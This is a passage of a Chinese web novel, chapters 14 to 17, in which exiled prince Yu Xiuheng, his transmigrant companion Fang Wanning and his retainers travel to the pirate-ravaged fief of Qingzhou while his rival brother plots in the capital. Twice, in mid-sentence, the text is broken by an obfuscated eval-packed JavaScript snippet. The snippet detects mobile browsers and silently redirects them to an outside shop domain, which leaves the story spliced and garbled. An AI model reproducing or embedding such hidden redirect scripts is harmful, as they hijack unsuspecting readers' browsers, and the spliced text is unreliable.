俞修衡让人扶起曹合,微笑着道:“曹大人,本王对这些往事记得不是很清楚了,若是儿时无意的举动帮到了你,也是本王的福德。不过过府一事,还是算了,依制,我住驿馆即可。” 曹合继续道:“殿下,您一路舟车劳顿,还请让下官尽一尽地主之谊。” “曹大人,本王如今正在就藩的路上。京里的事你应该也听过不少,还是不要在我这儿待的太久,传回京里只怕对你的仕途有碍。” 曹合还想再说。 “来人,送客。”俞修衡喝了口茶,没再看他。 临到门口,曹合回过头来又向俞修衡行了一礼,“渊王殿下,如果以后有用得上下官的地方,请尽管差遣。” “曹大人做好自己的本职就行,去吧,祝曹大人官运亨通。”俞修衡衷心祝愿他。 等到曹合下了楼,俞修衡对一旁的郁见深说:“郁先生,刚才曹大人在场时房间里有承王的人嘛?” “殿下,没有。” “嗯,入青州后找个时机将他们送回去吧,辛苦他们跟那么远了。” 郁见深回答:“好的,殿下。驿馆的房间已经准备好了,殿下什么时候过去?” “嗯,等绾宁回来吧。我刚才还让赋思去购置了衣裙首饰,今日我看绾宁的衣服不太合身,等到了青州再请裁缝为她量衣吧。”俞修衡表情自然,眼神盯着窗外。 郁见深心里疑惑不解,方绾宁到底和殿下什么关系,两人认识明明才不到一天,方姑娘又不是什么天姿国色,而且就算是天姿国色殿下看得还少吗? “郁先生。”俞修衡见他眉间微微蹙起,知他内心满是疑惑,“你一定在想这个方绾宁到底是什么人,我还知道你在调查她对不对?” 见俞修衡直接点明,郁见深也不藏了,“是,殿下。我已派人去江宁府查探方姑娘之前的一切。确保她的身份没有任何问题。不过,还请殿下解惑,这个方姑娘到底有什么不同,值得你另眼相待。” 俞修衡将房里的人都赶出去后,给郁见深倒了一杯茶,“郁先生,请坐。” 郁见深依言坐下,“郁先生,你是什么时候到我身边的?” “是在殿下八岁之时,入宫教授太子殿下的策论。” “原来都已经11年了。”俞修衡感叹,“那郁先生,我也不想瞒你的,你在我心中已经不单单是老师或者谋士门客那么简单了,你已经算得上我的家人。” 郁见深连称不敢,“属下惶恐。” “你还老是这么客气。”俞修衡眉目带笑,“昨晚我曾说绾宁对我非常重要,这是真的。郁先生,你可以把它当作是一种…一见如故、相见恨晚的感情。我和她,是比爱人、亲子更深的羁绊。” “殿下,怎可如此意气用事!”郁见深面露薄怒之色。 “我没有,我很清醒,我知道我让你失望过,但这次留她在身边是我觉得做出的最正确最让我愉悦的决定了。” 郁见深看着他陪伴十余载的殿下,忽然又觉得十分鲜活,这是他已许久未见的神光了。“是啊,方姑娘来了,殿下好似每一刻都很开心。” 俞修衡粲然,“是吗?哈哈…所以,郁先生,绾宁不是婢女,不是下属,也不能成为棋子,你明白嘛?” 俞修衡突然目光如炬般看着他。 郁见深心里哂笑,那个年少时还会为了没有救下一个婢子而哭泣的太子殿下终于长大了,学会用自己手里的力量保护在乎的东西了,他不再是那个只要抓住软肋就能任人鱼肉的殿下了。 他居然在震慑我?真是太棒了! “当然,我待方姑娘定会如同自己的学生一样。” “嗯…郁先生这倒是提醒我了。绾宁的字实在是太丑了。” “殿下想让我去教导嘛?” 俞修衡挑着眉,和煦一笑,“不,我要亲自教她。” 15.皓月 方绾宁回到万樽楼的时候,饭菜已经摆上桌了。她先是在门口站了一会儿,进屋后坐在俞修衡面前盯了他半晌没有说话。 俞修衡看向关珏,面露疑问。 关珏摇头表示他什么也不知道。 “关珏,郁先生,你们先出去吧。”俞修衡只留下了他和方绾宁在房间。然后动筷夹了一块鱼肉放在她碗里,“绾宁,尝一下这个沅河里的鲈鱼,肉质鲜美多汁。” 方绾宁看也没看鱼,还是看着俞修衡,眼睛审视着他。 “怎么了,你去和那人递信发生什么不愉快的事儿了?”俞修衡问。 “你骗了我。” 俞修衡拿筷子的手猛的僵了一下,随即定下心来又问,“我骗你什么了?” “你之前跟我怎么说青州的?” “……” “你把青州说的天上有地下无的,你说青州繁华,歌舞升平。但今天林小迟四姐姐却说那地方被海盗烧杀抢掠,早已经是一座空城了。”方绾宁声音颤抖。 “……绾宁,你听我说。”俞修衡想解释,但又不知道从何说起。 “小川,这就是你的封地嘛?你一路上马不停蹄赶去的,就是这种地方嘛?她还说,封你去那种地方的人肯定没安好心,你不是说你可厉害了?你之前还是太子殿下呢,如今就算被废怎么连条活路也不给?”方绾宁眼冒泪光,“你哪儿混得好了,我看你一路兴致冲冲的赶去赴死呢,这个时代的土匪啊海盗什么的,都不是人啊,他们根本不把人命放在眼里的,你就带这么点人,在青州待不到一个月肯定就会死于非命的。”方绾宁大哭。 俞修衡见着她怎么说着说着就开始流泪了,手忙脚乱的过去拿袖子给方绾宁擦眼泪,“绾宁,你别哭啊,我不会死的,我还以为你会怪我骗你留下来。” 方绾宁也不客气,拿俞修衡的袖子擦了一个大鼻涕,“我当然怪你了,我怪你不跟我说实话。还吹牛逼说自己多厉害似的,我看你在京城也不咋样,还太子殿下,你当太子的时候拿脚当的吧,要不然也不会被人赶出来,还赶去了那种地方……” 方绾宁一想到青州的险恶困境就止不住眼泪,心疼死了这个好不容易遇见的老乡,“我上辈子看电视剧都说,夺位失败的人最后都不得好死了,你之前看清宫剧吧?你看最后九子夺嫡最后都是什么下场……哇,你好命苦啊,我们一到青州肯定就会有数不清的刺客来取你小命吧?或者就将你困在青州,海盗洗劫的时候就顺便把你一刀嘎了。哇呜……你吃的好穿得好有什么用啊,最后英年早逝,上辈子18便投胎了,这辈子连媳妇也没娶过这又要重开了,呜呜……”方绾宁越说心越纠得疼,越疼哭的越大声。 俞修衡无语,这个会不会想得太深了些? 不过,真好啊。 就像是他在大雾里独自站了好多年,什么方向有光就往什么方向流浪,跟丢了又重新回到雾里游荡,直到有个人突然从浓雾里窜出来牵他的手,那个人还赞美他睫毛上的露珠好看,要和他一道。 但是我不认路。 没事,我也不认识路,你觉得哪个方向正确,那那个方向定有皓月! “我不会死的,绾宁,你别哭了。青州其实也没有你想的那样凶险……” 方绾宁不听,继续嚎。金手指变催命符了,能不伤心嘛,好不容易找到的老乡啊,还没享清福就要死在皇权斗争之下了。 “绾宁,你听我说。”俞修衡掐着她的肩晃了晃,“没有你想的那么悲观,绾宁。” “哇,你之前都叫我秋姐姐的,你变了,小川。” 俞修衡黑线,将语气软下来,“好吧,秋姐姐,不过你先别哭了,关珏武艺高强,要是听见你再这么哭下去定会以为有异动破门而入的。到时候他拔刀抵在你脖子上问你发生什么事的时候,你该如何回答?” 别管了,先吓吓她吧。 方绾宁狐疑,“真的嘛?他那么凶?” “可不是嘛,关珏是我从死囚牢里救出来的,之前就是因为在江湖上犯下不少命案,被朝廷围捕下的大狱。”俞修衡脸色摆得严肃。 方绾宁听着,不知不觉收了声,“真的?” 俞修衡又抿唇笑了一下,见她终于没哭了,“当然是假的。” “啊?你又骗我。” “也不全是假的。”俞修衡又往方绾宁的碗里夹了一块肉,“你先吃东西吧,你一边吃我一边给你讲武艺高强关侍卫的故事。” “哦,那行。”方绾宁擦了擦眼泪,拿起筷子吃饭,“你继续说。” “关珏确实是我从死囚牢里救出来的,他是当初鸿雁山庄的少庄主,但因为卷入十二年前的荣逸军费一案被判了满门抄斩,我当时年龄还很小,无意得到一个消息说这件事可能有蹊跷,但没办法,就算我是太子,当时才七岁的我也没办法阻挠这场证据确凿的案子,只好向父皇求情保下了关珏他一人。直到我十岁进中书省旁听的时候才慢慢开始调查他家的案子,一年后就将一切都调查清楚了。” “所以关侍卫全家真的是被冤枉的嘛?” “开始的时候我也以为是误判。谁知,查到最后,贪污军费一案鸿雁山庄确实在其中扮演着举足轻重的角色,如果按照律法来看的话,那场判决没有偏颇。” “那关侍卫不是得难受一辈子。”方绾宁咬着筷子,忧虑地道。 “是啊,当时抄家灭门的时候他也只有十二岁来着,救下他之后一直相信自己风光霁月的父母是被冤枉的,发誓一定要为全山庄上下报仇雪恨。但当证据全摆在他眼前的时候,关珏整个人就像是被抽空了灵魂一般。” “可怜的关侍卫,当时他一定什么也不知道。” 俞修衡点头,“之后我便为他改了身份,让他离开应京回了鸿雁山庄的旧址废墟,后来过了半年他又来找到我,成为了我的贴身护卫。“ “凄惨的身世啊。”方绾宁喝下一碗汤感叹道,“但不对呀,事情都真相大白了,他怎么还留在你身边?” “当时他已无路可去,江湖上的那些人都十分唾弃他,全家上下又变成了一座座坟茔。当时离开的时候我就跟他说了,如果不知道该往何处走,就来应京找我,我给他一个在这段人生中走下去理由。” “然后,你就收编了一个忠犬小弟?” “嗯…也对,而且鸿雁山庄的云梧剑法在他们江湖上首屈一指,我得空了让他耍给你看啊。” 方绾宁犹豫,“这…不太好吧。” 俞修衡大方的说道:“这没什么,反正他也是要练剑的嘛,咱们悄悄看就行了,特别帅!” “好啊,好啊,那他轻功怎么样,是不是像电视剧里的那样飞檐走壁,靠一片树叶就能横渡一条江!”方绾宁现在有种无脑的兴奋感。 “啊,这个不太清楚,飞檐走壁上个房梁什么的应该没问题,渡江那个我以后再问问他。” 方绾宁将之前青州的事抛在了脑后,正听着故事吃着菜,霎时间觉得俞修衡的处境好像也不是那么危险嘛。 “那,那个郁先生呢。他作为你的老师是不是也超厉害,比如说,他背后其实有一个超大的神秘组织为他服务,抬手就能在江湖上掀起腥风血雨,手底下求着为他办事的人趋之若鹜,而且个个身怀绝技,飞天遁地无所不能……” 俞修衡嘴角扯出笑意,“你被上辈子的武侠剧污染得太深了,郁先生就是个书生,他就是很有才华罢了,懂得很多。算得上上知天文下知地理吧。” “没了?”方绾宁倍感失望。 “没了,要是有什么什么组织,我还能落魄到去青州那地方?” “嗯,你好像说的有道理。”方绾宁语气渐弱,正无力的扒拉着饭菜。 “瞧你,还失望上了,其实跟你说这些就是想让绾宁你知道。”俞修衡停下来给方绾宁斟了一杯酒,“我也不是白白当了那么多年太子的好不好,身边也是有很多忠心跟随的人在的,绝不会在青州那个地方就白白送了命。还记得我和你描述的青州盛景嘛?” 方绾宁点点头。 “是我在一本游记上看的,所以青州是真的繁华过,我会让青州重现当年的盛世之景!”俞修衡端起酒杯,将其中一个杯子递给方绾宁。 “绾宁,你愿意和我一起去青州,去建设贫困城市,带领人民致富,弘扬精神文明文化,创造希望之愿景嘛?” 哎?怎么突然说完这句话,整个场景感觉都变红了?张乐川你上辈子不会是家里三代从政的吧? “额,我才十四,不能喝酒。”方绾宁有点点心虚推拒着那杯酒。 但又实在敌不过俞修衡的目光灼灼,而且他听见这句话并没有收回手,还是锲而不舍的举着酒杯。 方绾宁败下阵来,略微白了他一眼便接过酒杯一饮而尽,刚喝下肚好像没什么特别的感觉,非常爽口,一点也不辣,“好啦,答应你。就算青州是龙潭虎穴,海盗在岸边架起骷髅旗,水里养着尼斯湖水怪,我也陪你去!” ”那一言为定!”俞修衡之前悬着的心终于放了下来,两人一高兴这顿饭都吃了不少。方绾宁还多饮了几杯酒,这酒喝着像青梅汤一样,她咕噜咕噜灌了好几杯。 “渊王殿下。”门外传来关珏的声音。 “何事?” “赋思姑娘已经办妥了你交代的事儿,衣裙是现在送进来给方姑娘瞧瞧嘛?” 俞修衡看着已经醉倒在桌旁的方绾宁苦笑了一声,刚才都提醒过她这酒后劲大,非当饮料喝了好几杯。导致方绾宁现在脸蛋通红的趴在桌上,嘴里还嚼着一根菜叶。 关珏站在门外好一会儿没听见俞修衡的回答。刚想再敲,门却开了。 关珏、赋思等人慌忙行礼。 “赋思,将衣裙送往驿馆吧,今晚绾宁应该是试不了了。”之后俞修衡又返回房里去将桌上已经醉倒的方绾宁抱了出来。方绾宁现在身材小小,靠在俞修衡臂间像是抱了只小猫。 “走吧,回驿馆。” 而等方绾宁再醒来的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483742|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,已经是第二天在俞修衡的马车上了。 她的头还是好疼,刚睁开眼便瞧见靠在桌上看书的俞修衡,外面的天还有点泛白,太阳藏在山下没升上来,吹进车里的风还带着丝丝寒意。 这么早就出发的嘛?方绾宁心想。 俞修衡瞧见她睁眼,便顺手倒了一杯茶递到她手边,“醒了?快起来喝杯茶吧,解酒的。” 方绾宁接过来喝了一口,整个肚子都好受多了,忙起身又倒了一杯。 “身体还好嘛?”俞修衡关切地问。 “头还有点疼,其他的好像也没什么问题。”方绾宁有点不好意思,她最后的记忆就停留在酒楼,之后就是断断续续的在驿站时候的片段了。 她小心翼翼的又问:“我昨晚没麻烦你吧?” 俞修衡放下了书,“我倒是不麻烦,倒是辛苦了赋思和文晓照顾了你一整夜。你酒量那么差,居然将那壶酒喝了一大半,劝都劝不住。” 方绾宁不好意思的摸摸头,发现自己身上的衣服换了,忙转移话题,“我这衣服哪儿来的,怪好看的。” “赋思选的,你之前的衣服不太合身。”俞修衡从桌下的抽屉里拿出一只发簪,通体莹白,上面还镶嵌了一颗珍珠,“绾宁,你坐过来些,我帮你绾发吧。” “算了,我自己来吧。” “让我试试,我觉得应该不难。”俞修衡语气跃跃欲试,像是对什么新鲜事物都好奇的孩子。 好吧,方绾宁暂且相信一次。她背对着俞修衡,将披散的头发递到他手边。 俞修衡可能真的只是想试试,就算看不见,她也感觉得到俞修衡的生疏,所以方绾宁对于结果也没报什么期望。 果然是歪歪扭扭,也没个形状,松松散散的耷拉在方绾宁的后脑勺。 瞧着俞修衡认真的表情,也为了不打击他的信心,方绾宁还是顶着他绾出来的发髻没有拆。 “好难。”俞修衡有些丧气。 “没事,就这样吧。”方绾宁将散下来的碎发别去而后,“到青州后有什么计划嘛?你们应该事先调查过吧,已经有安排了嘛?听闻青州海盗经常侵扰,你有什么应对方法了没?” 俞修衡战术性的喝了口茶,“我们得到的情况大部分还是和传闻的差不多,有些消息还是得到了青州才能知道。” “也是。”方绾宁心里一转,又说,“既然我昨天已经答应了你和你一起建设青州了,对于青州的情况如今肯定离不开经济的复苏,我之前待在的县城有点小,可能这个朝代的有些情况还不是很了解,那我问你几个问题,我也好判断一下我们二十一世纪的有些技术能不能搬过来。” “好,绾宁你问。”俞修衡正了正神色。 “第一个,这个朝代的冶炼技术怎么样?发展到什么程度了?有没有什么大规模的战争武器?” 俞修衡果然是在中书省待过的,略微一思索,便详细道来:“东洲是这个大陆最强盛的国家,所以他的冶铁技术,武器锻造之类的已经处于非常鼎盛的时期,东洲现有大约三百座铁矿,每年能产出钢铁重量达500万斤左右,黄铜合金运用已经非常广泛,在打造武器兵刃上的灌钢法现在也逐渐发展得迅猛,关珏手里的剑就请了非常有名的铸剑大师打造的,削铁如泥。你说的战争武器具体是指什么?大炮?” “是吧,这时代有烟花,那肯定是有火药的,那他们研发出枪炮了嘛?” “并没有,暂时还停留在冷兵器交戈的时代。所以东洲的陆军非常强劲。” “这就是你们打不过海盗的原因咯?”方绾宁听出了端倪。 “这个我不知道,可能是吧。” “你真诚实。好吧,第二个问题,这个朝代会制作精盐了嘛?” “算会吧。”俞修衡将茶杯贴在唇边,小口的饮着,“不过他们之前用的方法太费时费力了,所以我八岁的时候就改良了一下,然后早就全国推广了。还好制作精盐的方法不难,我那时还没忘。” 方绾宁记得她怀远的时候是有饴糖的,不过有点贵,又问,“那蔗糖不会也是你吧?” “是我。那个也不难,我六岁的时候在皇宫里吵着要吃糖,谁知他们的糖太苦了,我就自己倒腾出来了,后续经过工匠的改良,现在市面上也有流通,可惜产量太少,没办法大批生产。”俞修衡讲起之前的事,眼里渐渐浮起神光。 不过方绾宁却略感凄凉,你都干完了,还能有什么轮得到我来发家致富?只好无奈抱怨,“你有这种功绩,居然还能被废,你在应京都做啥了?你不会是干了什么草菅人命,留恋青楼之类的事儿吧?” 俞修衡一下收敛了笑,扭头去看马车外的景色,唇角下撇,小声否认,“我没有。” 语气有种说不出的委屈,方绾宁听完一下便有些后悔。 但当她继续追问俞修衡在应京到底发生什么事,才能让一个卓荦不凡的太子灰溜溜的被赶了出来。 俞修衡凝眉,始终没有回答方绾宁的话。 16.青州 第十六章 应京城。 自从那个祸害去了青州,俞修寰感觉整个应京的空气都好了许多。他在的时候似乎整个朱雀大道都是暗色的,但现在走起来却格外轻快和缓和。 今日朝会上不少大臣都奏出了重立太子一事,见父皇的反应虽没有立即答应,面上的表情也没有厌恶,俞修寰心里是雀跃的,毕竟如今东洲朝堂除了他,没有谁再能担任得起这东宫之位了。 建明帝膝下一共五个皇子,两个公主。 大皇子郢王俞修尧乃父皇还是太子时,府中婢女所生。冠礼之后便封王驻守边关去了,一守就是十六年,回京的次数屈指可数。而他的母亲现在在宫里仅仅也只是个才人。对余修寰来说,大皇子对他毫无威胁,就算大皇子手里握着二十万边军,但他的母亲却在自己手里,而且大皇子生母卑微,断没有继承大统的可能。 二皇子和大公主都是陛下太子之时的太子妃,如今的德妃娘娘所出,俞修寰的外公不仅是中书门下侍中还是当朝太师,没有人比得过他如今在朝的地位。 三皇子堇王俞修暝是赵昭仪所出,资质平平,也早早在这暗潮汹涌的皇宫里站到了自己的阵营。 四皇子和二公主都是光禄寺之女,淑妃娘娘所出,但四皇子俞修凌却在九岁时早夭,淑妃深受丧子之痛,久居宣室殿,鲜少外出。 而五皇子俞修衡,父皇嫡子,母亲是当年应京最出名的才女,外祖还是名满天下的大学士和当朝太傅又能如何?自从身死之后又能给他留下什么?身份再尊贵,当年的风头再盛,无论多么受父皇喜爱,如今也只落得个冠礼都未到便被逐出京城的下场。 一想到当日在城楼上看见俞修衡就蕃时的凄凉场景,他就止不住的笑意。 “承王殿下。”身后有人追上他。 俞修寰停下脚步扭头看去,是刑部侍郎许征。 “许大人。” 许征恭敬行礼,“承王殿下,恭喜!” “喜?喜从何来?“俞修寰疑问,这许征自从三年前献计太和殿诱导俞修衡刺伤自己一事后,这些年来与他走得越发近了。年纪比自己还小几岁,表面风流倜傥爱玩闹,却在刑部司法混的风生水起,连连办了几个大案,父皇都对他青睐有加。俞修寰三番两次都想直接将他招入到自己门下,但又觉得此人内心深沉,不好交心,所以一直保持着不近不远的交友距离。 许征快步走到俞修寰跟前,凑近他耳边小声说:“这喜自然是从青州来。” 余修寰挑了挑眉,“自青州而来?” 见许征点了点头,又说:“那本王可要好好听听了。” 两人从宫门内出来后,直接去了应京城内有名的酒肆——摇铃居。 这是个非常有意思的酒肆,东洲的大部分文人豪客,王公贵族都喜爱大开大合的建筑风格,所以应京城基本上全部的酒楼食肆,门面或者内里都装修得十分大气,爱用橙、黄等明亮色彩。但这摇铃居则恰恰相反,整体用色偏灰暗,门窗都开得很小,独独顶上的天窗开得大,这间酒肆没有大堂,全是独立的厢房,密闭隐私性非常好,采光照明基本都用顶上的琉璃瓦和蜡烛。天气好时,每一间包厢里都有从屋顶照射进来的七彩光,晚上则是灯火通明的夜明珠和蜡烛。房梁和游廊上都悬挂着各式各样的风铃,有人经过便会随风而响,发出悦耳的铃声,故名摇铃居。 俞修寰和许征坐在摇铃居的壹号厢房内品尝这家店的招牌酒——醉今朝。每日特供只有10壶,味道香浓,尝过的人都道这酒能让人暂时忘却今日的烦忧。 “多谢承王殿下,要不是殿下,依照卑职的俸禄,可能一辈子也喝不上这么好的酒啊。”许征端起酒杯,小小的抿了一口。入口微甜,到舌根的地方又有些苦,顺着喉咙下去一股凉意,进到胃里又觉得烧了起来,滋味实在是妙极。 “想不到这酒还冰镇过,真是奇妙。”许征又叹了一句。 相比之下俞修寰便淡定许多,毕竟这酒他已经喝过很多次,“应京的酒大多温过之后入口更加香甜,而这醉今朝却恰恰相反,要冰镇才能方显其中的美妙。” 许征听后一饮而尽,端着手中的空酒杯竟然让他这个酒量颇好的人有些晕乎,实在神奇。 “许大人可别醉了。”俞修寰瞧着许征的神色面露一丝笑意。 “放心吧,承王殿下。许某我还没醉过,跟殿下您讲完这青州之事,卑职还要回刑部看案综呢。” “那想来青州的事令人开怀呢,许大人今日有公务竟还多饮。” “当然是令人开心的事咯。”许征又喝下一杯。“渊王殿下已经于五天前抵达青州城,而就在当晚,渊王便遭到数名刺客的围攻,还将他临时居住的府邸烧了个干净。” “那本王这弟弟可有受伤?”俞修寰问。 “据说伤到了左肩,但并无性命之忧。” “那他还挺命大的,值得为他高兴。”俞修寰与许征碰了杯,两人将醉今朝喝了个干净。 “是啊,想来当初天资卓绝的太子也不是那么好杀的。“许征闭了闭眼又睁开,眼里竟无半分醉意。 俞修寰注意到了许征眼里眸光,似深海似坚冰,也没有斥责他的大逆之言,反而问他:“许大人,和我这五皇弟之前有过过节?” 许征摩挲着酒杯,“有点吧,所以才想上承王殿下这艘船啊,毕竟下官和王爷都不想让他过得太舒坦了。” 俞修寰没有接话,透过小窗,去看庭院外面种的花。 “哈哈,失礼。承王殿下就当我刚才喝醉了。”许征站起身来,“下官该告辞了。”说罢,许征行了礼就出门去了。他离开时带动的风震得廊下的风铃哗啦作响,声音越来越远。 夏季的天气总是多变,刚才还是晴空万里,一瞬间竟然被大片乌云遮挡住了天空,山雨欲来。 屋子的光线也暗淡下来,头顶的七彩光没有了太阳便逐渐熄灭了。酒肆的仆役在外敲门示意要进屋点灯。 “起风了嘛?”俞修寰问道。 屋外的风铃震天响,好不热闹…… “是的,客人。看外面的天色,一会儿定有大雨,这是我们主人送给贵客的酒,还请客人安心在此处避雨。”那仆役将酒放在桌上,点完灯后便离开了,眼神规规矩矩,不该看的一点没乱瞟。 所以这才是摇铃居的好处,够私密,够隐蔽,朝中好些权贵都喜欢在此地谈事,让人十分有安全感。 屋里重新亮了起来。蜡烛的光晕得俞修寰的侧脸锋利又俊朗,他坐在那没起身,不一会儿门外的铃铛又响了。 ”进来。“俞修寰对着外面的人道。 那人一身黑衣进了屋,在俞修寰的身前跪下,“暗营甲字位陈二叩见王爷。” “俞修衡真的受伤了?” “确实如此,但进入渊王随行车队的十人全葬身在青州城了。” 俞修寰看着烛火的目光跳了跳,“那消息是如何传出来的?” “是暗营的信鸽,手下的人在临死之际将消息传递了出来。”陈二从怀中掏出密信,交给余修寰。 俞修寰接过,一目十行的看完了,信上确实如许征所说,伤了肩膀,烧了府邸,俞修寰又问:“他们最后一次传回来的消息是什么时候?” “是在离青州城还有十日路程的时候。” “有何异常?” “除了渊王收了名女子在侧,其他的一切如常。” “女子?”他这弟弟在应京的时候可从不碰女人。 “是个普通女子,年龄不大。但渊王与她同吃同住,有说有笑。女子身份已经查清,就是个农家女。” 俞修寰沉思了一会儿,没再追问关于那名女子的事,看着跪在面前的暗卫交代道:“既然我们的人全都死在青州了,那你就再挑几个机灵的给补上,本王可不想在青州做一个聋子,明白嘛?” “属下明白。” “我的好弟弟啊,你以为避去青州就安稳了?我定要让你尝尝一把利刃时时刻刻都悬与头顶之上的滋味。” 话音刚落,屋外便有雨声砸在瓦片上的声音,轰隆的雷声响彻了整个京城,这个夏天最盛大的一场暴雨终于到来了。 车队一路上再没有过多的停留,离开齐陵之后的最后一座城便是北阳了,方绾宁见识过齐陵的繁华之后,北阳城就相对来说萧条了不少。 街道上的人流就少了许多,不再像齐陵城一般密密层层的店铺,连酒楼的水准也下降了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14492445|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一截,方绾宁想买糕点都跑了好几条街才能买到。街道上比较常见的是穿着兽纹半臂,腰上系着銙蹀躞带的男人们。马市和鞍配倒是有一大票的市场。 据俞修衡说,是因为附近有东洲的朔北大军在此附近驻扎,离开北阳城再往北边走就是荣逸了,那是离突厥最近的城池。 离开北阳城之后一路向东穿过一片平原,在六月底到达了这个国家最东边的港口城市——青州。 果然是离海很近的城市,还没入城,方绾宁便在夏天炎热的风里闻到了大海咸湿的气息。掀开帘子便能看见巍峨的城门,但许是青州受难已久,墙上斑驳的纹路在太阳底下显得异常凄凉。城门口已有官员前来迎接,人员不多,尚且站的齐整,绯色和绿色的官服远远看起来像是花花绿绿的杂草。 车队行至城门,方绾宁将脱下的外衫重新穿好,又替俞修衡整理了一番衣冠,端坐在马车里神色有些紧张。 俞修衡安抚似的朝她笑了笑,直了直身在马车中没有下去。 一位身穿绯色飞禽官袍,腰系银鱼符的官员走上前,朝着马车行了一礼,“拜见渊王殿下,一路可安好?下官乃是青州长史张冠,率领青州大小官员二十三人前来迎渊王殿下入城。” 郁见深作为亲王谋士,此刻正候在马车旁替俞修衡问话,“这青州的刺史连城门都不肯出吗?竟要张长史在日头下候了那么久?” 张冠行礼时的头再低下半分,汗水从他的眉角滴落了一颗,尽管天气毒辣,但此人声音仍旧沉稳有力,“非是下官越俎代庖,只是请渊王殿下恕罪。青州情况实在特殊,刺史之位已有四年空置,城内官员更是缺漏不齐,今日来城门迎接的人员已是青州城内全部的官员了。” 马车上的俞修衡神色一凛,想不到青州一事竟然已经被朝廷搁置那么久。应京的候补官员如此之多,竟无一人愿来此地,想来城内情况比了解到的更为险峻。 车旁的郁见深听闻此言也是怔忡,不再过多问话,由着张冠的带领进了城。 进城之后方绾宁并没有听见属于市集的吵闹,只有车轮碾过路面的车轱辘声。她掀开帘子朝外看去,大多的店铺都紧闭着,路边的行人实在稀少,而且大多都是老弱妇孺,甚少看见青壮男子。他们看见亲王车驾也没有打量的神色,脸上似乎都布满了沉重的忧思,他们只是麻木的走着,或许已经不再相信有人能救他们于水火了。 想来青州是真的繁盛过的,路面都是整齐的青石,所见的房屋虽有些老旧,但都能看到精心雕刻的镂空花纹。不少屋顶的瓦片还反射着耀眼的金光,可惜都被掩盖在灰尘之下,不复见天日已久了, 行至中城,方绾宁见不远处还矗立着一座足足七层高的楼阁。不等她细看,车队又慌忙拐入了另一条街道。 等到了王府门前,方绾宁惊觉从城门行至此处居然花了两个时辰。 青州城比想象中的大很多,只可惜是座荒凉的空城。 方绾宁规规矩矩的跟在俞修衡身后下了车。许是知道渊王殿下身份贵重,提前收拾了住处,所以王府门前看起来并没有觉得很落魄。 那位长史张大人,领着俞修衡往里走,边走边说着一些城内的情况。 “渊王殿下,恕罪,就蕃一事太过匆忙,没有为您修建府邸。这座宅子的主人之前曾任过国子监祭酒。因着之前青州的祸事,举家搬走了。海寇上岸只抢夺财物和粮食之类的,所以青州的建筑屋宅大多都保存得很好,除了临岸的东边烧毁了许多民宅,靠近内城的房屋都不曾受损,王爷安心居住。” 一行人走过影壁,穿过垂花廊向正堂走去。或许正如张冠所说,住人的话肯定是没问题的,但在草木繁茵的六月,庭院内竟荒草离离,只剩几株古树还算枝繁叶茂。 张冠看此情景略感惭愧,脸上浮现的笑容有些僵硬,“王爷里面请,青州的夏季总是燥热,待在屋内会凉快些。” 进了正堂,看了屋内情形方绾宁松了一口气,尽管摆设有些简单,但还好桌椅是齐全的,毕竟见了这城内景象,心里对破败有了新的认知,方绾宁觉得怀远一个小县城都比这个地方好一百倍呢。 她在心里叹了一口气,看着俞修衡挺直的脊背,竟觉得有些寂寥和无奈。 17.遇刺 第十七章 俞修衡走向主位坐下,尽管心里对青州的预期并没有很好,但一路走过的景象还是令他有些忧心忡忡。 他抬头冲着张冠展露一个还算是和煦的笑容,“有心了,张大人。青州城的情况本王之前有所耳闻,今日一见虽然有点出入,但既来之则安之不是吗。既然这里已经成为我的封地,那还请张大人稍后将城内的详细情况尽数告知。本王才好着手应对。” 张冠弯腰行了一礼,面前如此年轻的亲王见这种荒凉景象竟还能淡然接受,实在令他有些眼热。 之前的青州也是昌盛过的,谁知遭遇祸事后成了朝中官员避之不及的对象,前几年有好几位京派官员前来此地都待不足三个月,之后便不遗余力的满朝托关系要调任他处,如今来了一位皇子,希望这位传闻天资卓绝的渊王殿下能给青州带来福祉。 “当然,青州的详细情况下官早已准备妥当。但王爷您舟车劳顿,还请先歇息片刻,下官为王爷准备了接风晚宴,和几位青州任职已久的同僚到时候一起将情况告知殿下。” 张冠侧身朝外招了招手,唤来一位年轻人,看身形样貌或许也就二十来岁。“这是下官的犬子,在城内任一个小小主薄,是土生土长的青州人士,如有些城内琐事可以尽管问他。青州府衙人员有缺,还请王爷海涵。” 那人走上前来行礼,“卑职张渠,叩见渊王殿下。” “免礼吧。”俞修衡对此并没有过多表态,“那就晚膳时分再见吧,张大人。” 说完,留下张渠,张冠便告退了。 钱管家走进堂内请走了张渠,确实刚到此处,钱管家要更需要他一些。 此时厅内只剩渊王府亲近几人,郁见深走近,朝着俞修衡说道:“殿下不必忧心。王府亲卫已经于五天前抵达青州,人数有两千。足以应付很多状况了,殿下。” 方绾宁在有郁见深的场合一般不开口,莫名其妙的,她有点怕这个读书人。尽管郁见深对她还挺好,温和知礼,和蔼可亲,前几天还在路上的时候竟还问过方绾宁要不要读书,惊得她当场背了一首小池才算罢休。 她只是呆呆站着,累了就把重心换到另一只脚。 俞修衡听完,“嗯,慢慢来,不用太着急。郁先生,一路辛苦,先去休息吧。今晚我们一起去听听这些青州官员说出来的,和我们自己调查到了,有什么出入。” 